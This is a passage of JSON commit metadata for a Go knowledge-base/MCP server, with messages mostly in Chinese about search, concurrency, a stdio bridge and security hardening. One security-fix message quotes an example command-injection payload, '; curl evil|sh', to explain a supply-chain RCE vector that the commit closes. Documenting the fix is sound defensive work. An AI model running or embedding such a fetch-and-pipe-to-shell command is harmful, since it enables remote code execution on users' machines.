          "body": "index.Build 建三字母组(trigram)索引:normalized token(符号拆词/keywords/entry\n文本)的 ASCII 三字母组 → 节点集合。Search 在精确 token 命中 < 3 时回退 trigram,\n分数加权(精确×2 + trigram×1)。\n\n效果:authentication↔Authenticate、loginLockout↔login lockout 这类词形近似\n查询不再静默 miss 触发补账义务。\n\n边界:trigrams 只对纯 ASCII token 生效——中文等多字节字符的'三字母组'会切坏\nUTF-8 且语义不通,直接跳过(中文走精确 token + missProtocol 的 substring 兜底)。\n\n回归:TestSearchTrigramFallback(authentication 近似命中 Authenticate)+\nTestTrigramsSkipNonASCII(中文不切)。build/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次5): trigram 模糊搜索——补 recall 近似命中盲区",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:24:18Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "6b2447bbf35cd1ff7f3441e926006be305fa7758",
          "body": "F4.1 知识导出/导入(export.go):iknowledge export 打包 .knowledge/ 为 .kbundle\n  (tar.gz,纯 stdlib archive/tar+compress/gzip),import 解包到目标仓,--remap 支持\n  跨仓 Node-ID 路径前缀重映射。排除 local/wip。tar slip 防穿越。\n\nF4.2 kb_revert(model.Change.Reverts + write.go):撤销全错的 record_change/verify。\n  撤销是追加一条带 Reverts 的 Change(追加式不变量不破\n[…]\nn 预算截断。\n  跨节点去重(maintain.go crossNodeDupCandidates):dup-entries 只比同节点;新\n  cross-dup debt 扫全库两两 bigram,发现散落不同节点的语义重复条目。\n\n工具数 13→15(+kb_revert +kb_session),scout 禁这俩。server_test 适配。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次4): 新功能——导出导入/kb_revert/kb_session/注入排序+跨节点去重",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:21:06Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "4139be4da50739b6bfc2a2b3d885cf4618c9b222",
          "body": "P3.1 git trail 缓存:recallNodeLocked 在读锁内调 gitTrail(每文件一次 git log\n  --follow 子进程)会阻塞并发读。加 cachedGitTrail(60s TTL per-file 缓存),\n  稳态零子进程。\n\nP3.2 Map 覆盖率预计算:coverage(prefix) 原先每目录遍历全索引 O(D×N)。改单遍\n  预计算:遍历所有符号节点一次,累加进各祖先目录的 cov map,walk 查表 O(1)。\n\nP3.3 config + 源文件列表缓存:LoadConfig 原先 4 处调用各自读盘+YAML 解析且\n  `_\n[…]\n 加 cachedSourceFiles\n  (60s TTL,parseFailedCached 共享)。注:callgraph 不用缓存——其增量语义依赖\n  实时文件清单检测增删。\n\nP3.4 file→nodes 索引:index.Build 加 fileNodes map,Inject 文件域查询从扫全表\n  O(N) 降为查表 O(结果数)。\n\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "perf(R29 批次3): 性能优化——子进程出锁 + 覆盖率预计算 + 缓存共享 + 文件域索引",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:11:30Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "55dd565a4575c5945e9e2a0e3ad6a1c0bf045ac2",
          "body": "核心面并发瓶颈消除:rt.mu 由 Mutex 升级 RWMutex,读路径(Recall/Map/Inject/\nStatus)改用 RLock,多会话读不再互斥串行。\n\n三项读时写外移,使读路径变纯读:\n- reconcileOnReadLocked 状态对账(降 suspect/补 anchor/恢复 fresh)→ 搬进\n  reconcileAllLocked(reloadLocked 末尾,写锁内)。读路径 reconcileOnReadLocked\n  退化为纯读:只算 curHash/signature/calls 展示数据,据已对账 status 报 stale 横幅。\n  \n[…]\n从'分片字节不变'改为'entry 数与\n锚定哈希不变'——后台对账降 status 落盘是合法独立副作用,非 record_change 半应用。\n新增并发压测:TestConcurrentReadsNoRace(10 goroutine × 60 读)+\nTestConcurrentReadWriteMix(读写混合),-race 全过无竞争无死锁。\n\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次2): RWMutex 完整改造——读路径并发化",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:04:33Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "c1cb9ac0d2e5586e94a43de7139710fa82392537",
          "body": "S1.1 P0 命令注入(scout.go):scout_command 经 sh -c 执行是供应链 RCE 向量\n  (恶意 commit 在 config.yaml 写 ; curl evil|sh 即中)。改零依赖自切词:\n  strings.Fields 切 argv + KEY=VAL 环境变量前缀支持 + 元字符(;|&``$)拒绝回退默认。\n  {mcp} 替换移到切词后,cfgPath 含空格也作为单 argv 元素安全。e2e 测试通过。\n\nS1.2 rand 错误吞(server.go/investigate.go):session/job ID 是凭证,\n  低熵源不可\n[…]\n 2。把'一条 flag 之差网络裸奔'变不可能。\n\nS1.6 错误码语义(server.go):kbInvalid 的 NODE_NOT_FOUND → INVALID_PARAMS\n  (参数解析失败语义不符,AI 按 KB_ERR: 自纠错会被误导)。\n\n回归:scout 命令注入拒绝/空格路径/env 前缀 4 个新测试 + e2e 自派全链路通过。\nbuild/vet/-race 全绿。",
          "is_bot": false,
          "headline": "fix(R29): 安全债清盘——P0 命令注入修复 + 5 项硬化",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T09:48:45Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "58979bd40f6d1f9c7cef63ad2ba496755b2b7367",
          "body": "用户命题\"知识点冲突测得到吗/知识库本身错了呢\"的落地:\n\n- confirm 三人成虎堵漏:inferred/suspect→verified 升级与 refute 同规格\n  ——强制 evidence + journal 确认记录(\"读过没发现问题\"不构成验证);\n  verified 复确认/derived/节点级重锚豁免(纯时间锚语义);置信桥提示、\n  MCP schema、两份设计文档、双语 README 同步\n- kb_maintain patrol:跨节点矛盾巡检简报(冲突检测的跨节点盲区补位)\n  ——关键词簇聚类跨 ≥2 节点活跃知识,同节点集去重、预算封顶溢出明示,\n \n[…]\n纯只读不开 job,refute/disputes 即留痕;CLI maintain -patrol 同源;\n  机器只聚类不判语义(零重依赖无 embedding),裁判是读简报的 AI;\n  casino 实测聚出 5 簇(派彩/round_epoch 等,跨文件同主题知识成功并读)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 冲突与错误知识防线补强——confirm 证据对称 + 跨节点矛盾巡检",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-07T01:17:30Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "b7110dc9fbcb85a16d8626131ab755463fef3e9d",
          "body": null,
          "is_bot": false,
          "headline": "fix: relax file entry budget",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-06T09:31:29Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "8721e2c2b297dbc4fbddfbdff7ef5691af317c3b",
          "body": "- python 子进程双超时护栏:探测 5s(坏 python 挂死不卡 serve 启动,\n  纯 Go 仓不陪葬)、单文件解析 20s(engine 持锁调用点防整库阻塞)\n- parseFailed 逐文件指纹缓存(mtime+size):没变的文件绝不重解析,\n  混合仓子进程解析器稳态成本归零(否则 200 个 .py 每次重扫 ≈8s)\n- 探测成本核账留痕:engine 构造仅 serve 启动/一次性 CLI,30-50ms 是\n  噪音,不做懒加载注册(并发锁+优先级分叉的复杂度本身是风险)\n- Go 哈希路径零变化实证:HashFileFor 对 Go 回退原 FileHash,\n  aibridge 幂等对账 migrated=0 suspected=0\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: Go 稳定性加固——多语言不许拖累 Go 体验(用户关切定案)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-05T06:01:11Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "c9ff949d625e8560b9987678b10a34f7348526b3",
          "body": "\"核心引擎语言无关 + 解析器插件制\"的设计承诺兑现:加语言不动核心,\n全部成本在插件面(~600 行语言面 vs ~万行语言无关核心)。\n\nT0 通用文件级(任意语言即刻可用):\n- config.yaml extensions 白名单(缺省关)→ proto/SQL/前端/配置等以文件粒度入库\n- 新增 FileHasher 可选能力:无 AST 插件自定义内容哈希(否则空符号级联出常量\n  哈希,腐烂检测失明);四处锚定点统一走 HashFileFor 出口\n- 账本/经验/hook/腐烂检测全可用;放弃符号粒度与格式化免疫(重排即 suspect,\n  出口 reanchor_all)\n[…]\ner Python 五场景(格式免疫/改名/docstring/方法不连坐 class/语法错)\n+ engine 双 E2E(proto 腐烂检测、Python 改名迁移)一次全过;8 包 -race 全绿;\nimpl §5 / knowledge §15 / README 双语留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 多语言两档落地——T0 通用文件级覆盖 + T1 Python 自托管解析器(核心零改动)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-05T05:52:09Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "958aa294307bd8c0df4dec63cf5f050a83eb9436",
          "body": "对照 codegraph(纯结构图工具,明确不做经验/账本层)后的定位结论:不与它卷地图,\n但它实证了\"AST 启发式能解接口动态分发\"——正中我们调用图的已知盲区。借鉴其思路,\n零依赖实现:\n\n- parser 提取接口声明(方法名集 + 内嵌引用;泛型约束元素标哨兵)\n- engine 全仓方法集匹配,宁缺三闸:含不可归位内嵌整接口弃/≥2 方法才严格匹配\n  (单方法仅唯一实现者,防 io.Closer 型爆炸)/build tag 同名弃;仓内内嵌不动点\n  展开(≤5 层)\n- 未归位方法调用经接口分发兜底连边(扇出 ≤5)——接口重代码的 calledBy 不再为零,\n  热区排序\n[…]\nined/diffFixpoint,\n正是 M1.4 任务 n1-3 问的);casino 15.6k 节点首建 245ms/增量 71ms。\n测试:parser 提取 + engine 全场景(匹配/单方法闸/内嵌展开/仓外弃/分发边/展示/扩展)\n一次全过;8 包 -race 全绿。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 接口→实现边(codegraph 对照借鉴)——修 calledBy 盲区 + kbeval 成本维度",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-05T05:43:19Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "832adcc3abe9383c3032faa94c39bb7700ee1dc6",
          "body": "判据一问:\"代码变了它会失效吗(或它解释这个仓库的代码为什么长这样)?\"\n三不进:通用编程知识(任何仓库都成立)/会话与用户偏好(归宿主 memory)/\n任务待办(归 kb_task)。\n\n三层落地:\n- 纪律第 5 条 + InitializeInstructions + kb_remember 工具描述立文\n- 机械警示(极窄防误杀:TODO/FIXME/待办/别忘了 → 任务态归 kb_task;\n  警示不拒收,语义终归 AI,§12.7 同哲学;\"下次重连会重放\"类合法陈述不误杀)\n- 无锚节点(project/dir)每次写入亮边界提醒——无哈希锚管腐烂,\n  是最容易被当记忆垃圾桶的地方(§8.4 合法住户仅业务规则/外部契约)\n\nREADME 双语 FAQ 增\"它会不会变成杂物记忆库\";impl 边界定案留痕;\n边界测试四例(含合法技术陈述不误杀)全过,8 包 -race 全绿。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 边界定案——知识库对应代码,不是记忆库(用户定调,三层落地)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T17:42:38Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "607810b66cedebf13de422313b23135d69b0a7cc",
          "body": null,
          "is_bot": false,
          "headline": "fix: bound maintain file scopes",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T17:14:04Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "c1843462a6406419e93d9b89dfa4093d54d4e5f7",
          "body": "沿用已验证的\"黄金时点\"哲学(把正确动作递到 AI 正在干活的手边):\n- 债没人清 → hook 注入附本文件欠账计数 + scope 化领账命令(人在现场理解新鲜,\n  顺手清账成本最低;casino 实测注入延迟 ~65ms 含全债现算;LLM 自动清账维持\n  远期不做——机器只负责递账,清账要语言能力)\n- 种子在热文件腐烂 → 半衰期沉淀指引三处落地(纪律第 5 条/热点清单/种子提示词):\n  高频改动区优先沉淀跨改动仍成立的契约/不变量,实现细节易腐少存\n  (数据依据:casino 种子 94% 一次性写入,最热两文件的种子条目数日即挂债)\n- disputes 零使用 → 接入查重警告(相似>0.8 正是矛盾露头时刻):三种结局指引\n  ——同一结论 supersedes/互相矛盾 disputes/确证旧错 refute\n\ncasino 实测:plaza.go 注入即时显示\"4 条维护欠账\";8 包 -race 全绿;impl 留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 三不足对症下药——就地欠账提示/半衰期沉淀指引/disputes 自然发现点",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T16:54:07Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "1d651ab7a06214755c738cd1b64f643516b70f46",
          "body": "实战数据:casino 116 条知识全是 inferred,而账本 22/33 条带 verified(go test/\n红绿证据/dump 解码)——AI 用测试验证了代码,却从不把对应知识升级 verified,\n五级置信阶梯实际只用一级、字段几乎不携带信息。\n\n桥接账本 verified 与条目 confidence(不自动升级——测试验证代码行为≠验证知识\n文本正确性,必须 AI 读过条目确认):\n- record_change 回执即时提示(带 verified 且触及节点有 inferred 条目时,黄金时点)\n- confidence-lag 债捞存量(节点 fresh + 有\n[…]\ned + 历史有 verified 变更)\n- kb_maintain 工具描述补全七种债种\n\ncasino 实测:精确捞出 4 个节点(有 inferred 知识 ∩ 有测试验证过的变更),\n正是 mt=7 那场带测试改动触及的节点。8 包 -race 全绿,impl §7.3 留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 置信度桥接——修复\"116/116 inferred、0 verified\"阶梯塌陷(casino 实测反馈)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T16:46:04Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "fa6759489d5e68af14d59082a3ba08e25af1c035",
          "body": "stdio 桥由 MCP 客户端直接 spawn,GUI 客户端 PATH 常没有 ~/go/bin——新用户会\n\"桥都拉不起来\"。三层兜底:\n- install.sh:裸命令不可解析时尝试软链 /usr/local/bin(不行则打印精确的\n  sudo ln 命令);uninstall.sh 对称清理软链\n- kb-bootstrap skill:写 .mcp.json 前校验 command -v,不可解析则先试软链、\n  再不行 command 字段直接写绝对路径;修步骤编号(6/8→6/7)\n- README 双语:skill 段与 Codex FAQ 同步 stdio 措辞(不再有\n[…]\n\n  机器重启说一句\")\n\n验证:install.sh 实跑(Go proxy 已能拉到 stdio 版);全新临时项目端到端——\ninit → stdio 配置 → 桥自动拉起 serve → initialize/hook 腿/只读腿全通,\n零手动服务管理。skill 已同步双宿主。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: 傻瓜安装流程 stdio 化收口——PATH 可解析性三层兜底 + 全新用户 E2E 验证",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:22:59Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "95d2357eb68eb4b2856dc5d7a14dc67e843d5443",
          "body": "用户指出\"做成系统服务不对\":MCP 生态惯例是客户端拉起进程、随会话生死,\n不该让人管理常驻服务。但 hook 注入/多客户端共享/单一写入口/子代理只读腿\n又需要同一个 HTTP 实例。两全:\n\n- 新增 `iknowledge stdio`:客户端以 command 形态拉起;确认后台 serve 在线\n  (不在则脱会话自动拉起,写者锁天然单例,并发输家自退,等端口 ≤8s),\n  然后做 stdio(newline-delimited JSON-RPC)↔ HTTP 透明桥——\n  Mcp-Session-Id 捕获回带、--auth 令牌自读(客户端配置零密钥)、\n  通知无回包、\n[…]\n骤,验证一条 stdio 命令完成首次拉起);\n- impl §1 生命周期契约留痕;README 双语同步;\n- 测试:stdio 桥 e2e(会话头回带/通知无回包/kb_status 应答)+\n  真机冒烟(无 serve → 自动拉起 → 应答 → 桥退 serve 留守)通过。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: stdio 桥——MCP 接入回归生态惯例,零服务管理(用户反馈驱动的定案修订)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:17:39Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "fd81380b4535a49faa8d07ac0abff4d73db86ecb",
          "body": "\"装过但服务没起\"从\"任务尾提醒用户\"升级为\"AI 自行 nohup 拉起\":\n提醒是把机器能做的事推给人。拉起后 MCP 工具列表需重连才刷新,\n但只读腿(curl /recall,零握手)立即可用——读侧纪律当场恢复,\n写侧等工具刷新后补。\"没装过\"维持提醒安装(装机是用户决定)。\nimpl §9 留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 纪律降级门升级为自助拉起——AI 有 shell 就该自己起 serve",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:08:03Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "98f2f7c905b7c9b03025923faeb40ec1f639c199",
          "body": "…d 精确判 ..\n\n- serve --auth 时 setup 的 Codex TOML 片段同步打印 [mcp_servers.knowledge.http_headers]\n  Authorization(此前只有 .mcp.json 带头,Codex 侧会 401);impl/README 同步\n- scout 缺省命令改直接 exec.Command(\"claude\", …) 不过 sh -c——含空格的仓库路径\n  不再需要引号运气;自定义 scout_command 维持 shell 模板({mcp} 占位)\n- store.SrcRelOfShard 的逃逸判定从 HasPr\n[…]\nA8 同族:防把 \"..cache\" 这类合法目录名误判为逃逸)\n- CLAUDE.md 命令节补 windows 矩阵表述(与 CI 现状一致)\n- 配套测试:TestSetupPrintsCodexAuthHeaders / scout_test.go 两例 / store 逃逸判定\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: setup 的 Codex 片段补 --auth 头 + scout 缺省命令去 shell 包装 + SrcRelOfShar…",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:03:37Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "6fdbcfc3cab4a1fe5cbb5a4c0576a629304f19ae",
          "body": "内容对齐并同步最新能力(hook 写事件记账提醒、来时路、disputes、suspect 欠账、\n只读腿、自启模板、M1.4 结果);两版结构一致,改动须同步双份。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: README 双语化——英文正本 + README.zh-CN.md 中文版,顶部互链",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:37:10Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "94b860c22a2589391e5280e2ed002c97a945201b",
          "body": "上一笔 git add -A 误收编了一份陈旧的 CLAUDE.md 机械替换版(claude→Codex 的\n替换产生了\"禁用 Codex -p\"这类错误纪律,进度节也是旧的)。改为薄入口:\n约定不复制,防两份文档漂移;附 Codex 侧的两点换算(exec 联测方式、MCP 接入段)。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: AGENTS.md 改薄入口指向 CLAUDE.md 单一正本",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:33:28Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "0bbe8ccf7a412b01e883b6bc892e25487652ee00",
          "body": "对抗性复查自己上一轮修复后新发现的七个真缺口:\n- 侦查简报对受限子代理是死指令(与纪律段无降级门同病):简报尾附只读腿 URL\n  (服务端自知地址)+ 代沉淀/代交卷条款\n- README 承诺违约:impl §1 写\"README 提供 launchd/systemd 自启模板\"而 README\n  没有——文档-现实偏离,补齐两份模板(多 repo 单守护示例)\n- hook 只提醒读不催记账:桥透传 tool_name,写事件注入尾附记账提醒\n  (预算裁剪后追加,提醒必须存活)——\"改完的当下\"是遵守率黄金时点\n- 复述检测(警示不拒收):条目 ASCII 词 ≥70% 来自符号签\n[…]\n检测同定案)\n- gitTrail 加 --follow(文件改名来时路不断链)\n- kb_status 的 parseFailed 全库扫描 60s TTL 缓存(最大单项成本,此前只缓存了 git)\n- UsageRecord.Source 区分只读腿与 MCP 调用(统计口径卫生)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 再推理二轮短板清盘——简报降级门/hook 记账提醒/复述检测/README 承诺兑现",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:31:06Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "5b1255e7334560808857ffe30a3e92c111c5dbaf",
          "body": "实战反馈的三条短板逐一机械解(子代理只读腿已于上笔落地):\n- 冷启动价值低:骨架/suspect/stale 节点的 kb_recall 自动附来时路(该文件近 3 条\n  提交)——零 LLM 成本考古,空骨架至少给「为什么长这样」的入口,还账者有素材写\n  what/why;fresh 已消化节点不附(考古退位给 history)\n- 纪律依赖\"发现不等于修复\":suspect 进欠账队列(suspect-reverify 债,hint 给\n  confirm 重验/refute/补记账三条路;超 20 个聚合一条 mass 债指向 reanchor_all,\n  防刷屏)——冷区 suspect 不再烂着没人管,kb_maintain 有账可领\n- 种子质量:kbeval seed 提示词升级(先 git log 看来时路再读码;只存「代码上看\n  不出来的」,禁复述代码结构)+ kb_status 热点清单同款沉淀门槛提示\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 三短板全闭环——冷启动来时路 + suspect 进欠账队列 + 种子质量门",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:21:27Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "14adefe2eab085af7f12221db4a0f618a3e1918d",
          "body": "casino 真实会话反馈:受限工具集的审计子代理无 kb_* 工具,主 AI 手工转录知识进\n任务书必有损耗(转录错数值被子代理纠正的实例)。补纯 HTTP 只读腿:\n- GET /recall?q=…[&mode=&limit=&session=] / GET /map[?path=&depth=] / GET /status\n  ——输出与同名工具一致,有 shell 即可 curl,零 MCP 配置;同受 auth/origin 门,\n  usage 照记;只读,记账/沉淀仍归主 AI(author 推导与写纪律不被绕过)\n- 纪律段增第 8 条:给无 kb_* 工具的子代理写任务书时附 curl 只读腿,勿手工转录\n- kb_status 覆盖率一位小数(68/15598 取整成 0% 会把按需消化误读成没干活)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 子代理只读腿(GET /recall /map /status)+ 覆盖率显示一位小数——实战反馈驱动",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:16:24Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "c3adec4c2f271976974374aed4e9507015b07a42",
          "body": "- scout 自派兜底:活动符号检测(✻✶✳✽⏺)+ 信任弹窗回车 + 重投 2 次;\n  启动确认同时监听交卷/退程(非 TUI 侦察兵不画 spinner 直接交卷)\n- kb_status 热点 TOP5→TOP10(对齐 M1.4 种子协议)+ git 计数 60s TTL 缓存(独立小锁)\n- kbeval 退出阶段补确认回车(≤3 次)——遥测丢失根因:后台任务触发 Exit-anyway\n  确认框,硬杀丢 OTEL 终态导出(console 导出主要在退出 flush)\n- 多 repo serve 自动化 e2e(双端口 repoRoot + SIGINT 优雅停机;!wi\n[…]\nal/m14/(第一轮 FAIL 保留,不删败绩)\n- 同日实锤:CI 三平台真机全绿(windows-latest 实跑);Codex 端到端实测通过\n  (内嵌 codex-cli 0.142.5:kb_status/kb_recall/instructions 语义,兼容矩阵补齐)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 问题清单清盘 + M1.4 复测 PASS(中位 A/B=59%)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T11:31:17Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "f5aeeefbea240eb67f9e72c8daf956eb8fe32716",
          "body": "…各期状态 + README/CLAUDE.md 同步\n\n含:M1.4 采集口径定案(OTEL 遥测,弃 /cost 与转录)与第一轮结果销案;\n\"维持不做\"红线明示(tree-sitter/跨仓库/embedding/SQLite/TLS/stmt/摘要自动重算\n——触发信号未现,提前做是过度工程);许可证选型(MIT/Apache-2.0)待用户拍板。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: 轮 26 全部定案回写——impl §1/§2/§5/§7.3/§7.5/§8/§11 留痕 + knowledge §15 …",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T10:45:48Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "71ee23ce767f8e20b43268b0d43807ad7c6b33e6",
          "body": "cmd/kbeval(评测工装,零三方依赖,复用 internal/pty;禁 claude -p):\nseed 种子消化 / run A-B 双跑(断点续跑,单会话失败不中断)/ report 中位数判定。\n驱动实测三定案:多行提示词括号粘贴;回合启动认 spinner 符号(字节流速被输入框\n回显假触发);2.1.201 转录 jsonl 惰性缓冲不可依赖,计量走 OTEL console 遥测\n(claude_code.token.usage 末次导出跨模型求和;api_request 缺席,轮数不可得)。\n\neval/m14:固定 10 任务(5×N1+5×N2,aibridge)+ \n[…]\n果:\n种子 28 节点(6% 覆盖)后 20 会话零失败——中位 tokens A/B=69% 未达 ≤60% 判 FAIL;\n但 A 赢 9/10、合计 73%、中位用时 -26%。归因:任务半数命中未播种子系统\n(种子只盖热度 TOP5),结构性低估;复测路径留痕 impl §11。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: M1.4 验收工装 kbeval + 固定任务集 + 第一轮实测数据(判 FAIL 不移动球门)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T10:45:48Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "8fb199f6049c8c38135adcb86843da69ff3d18b9",
          "body": "二/三/四期可做项全部落地(逐项对照 impl 留痕,维持零重依赖):\n- 全仓调用图:parser CallExtractor(规范名与 Parse 同法)+ engine 归位三规则\n  (同包表/模块内 import/唯一方法基名启发;build-tag 歧义丢边宁缺毋错);\n  casino 886 文件首建 263ms/增量 21ms/1.7 万边\n- 结构扩展检索一跳(命中集沿调用边+流程)、热区排序(kb_status 热点 TOP5,\n  git 90 天改动 × 跨文件被调)、侦查简报附来时路(git 锁外)\n- 非代码知识时间锚(Entry.ConfirmedAt + re\n[…]\n台矩阵 + -race\n- PTY 自派备模式:internal/pty 手写原语(零三方依赖),交卷走协议不解析终端,\n  config scout=self;协议级假侦察兵 E2E 通过;简报括号粘贴(裸 \\n 被 TUI 逐行提交)\n\n8 包 -race 全绿,新增 20+ 测试。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 轮 26 设计留白清盘——调用图/结构扩展/热区/时间锚/矛盾裁决/来时路/auth/多repo/Windows/PTY 自派",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T10:45:30Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "a03688772ebdbf7429a7c280ed630993efeab607",
          "body": "问题(用户指出):CLAUDE.md 纪律段是仓库携带的,clone 到没装 iknowledge\n的机器上就是指向不存在工具的死指令。\n\n对照 serena 的一手调研(连接内实测其 initial_instructions + README):\nserena 纯连接携带(instructions 引导 + 手册工具 + 工具描述常驻钩子),\n仓库零文档故无此问题,代价是完全依赖客户端注入;其 MCP 形态本身支持\n任意客户端(含 Codex,README 有 Codex CLI/App 评测)。\n\n我们的对偶设计(impl §9 留痕):\n- 腿①(仓库携带)保留但加降级门:首句声明\"kb\n[…]\nsh 指路)\"——死指令变路标\n- 腿②(连接携带)从一句话扩为紧凑全纪律:能注入 instructions 的客户端\n  不再依赖①;不注入的仍有 13 个工具描述里的微纪律兜底(serena 同款钩子)\n- casino 已贴的 CLAUDE.md/AGENTS.md 两处同步换新版\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 纪律段自降级门 + instructions 扩为紧凑全纪律(对照 serena 定案)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T07:05:09Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "5ab873dd7c7cd3f6ab7d1db89ac8c709e2b596b1",
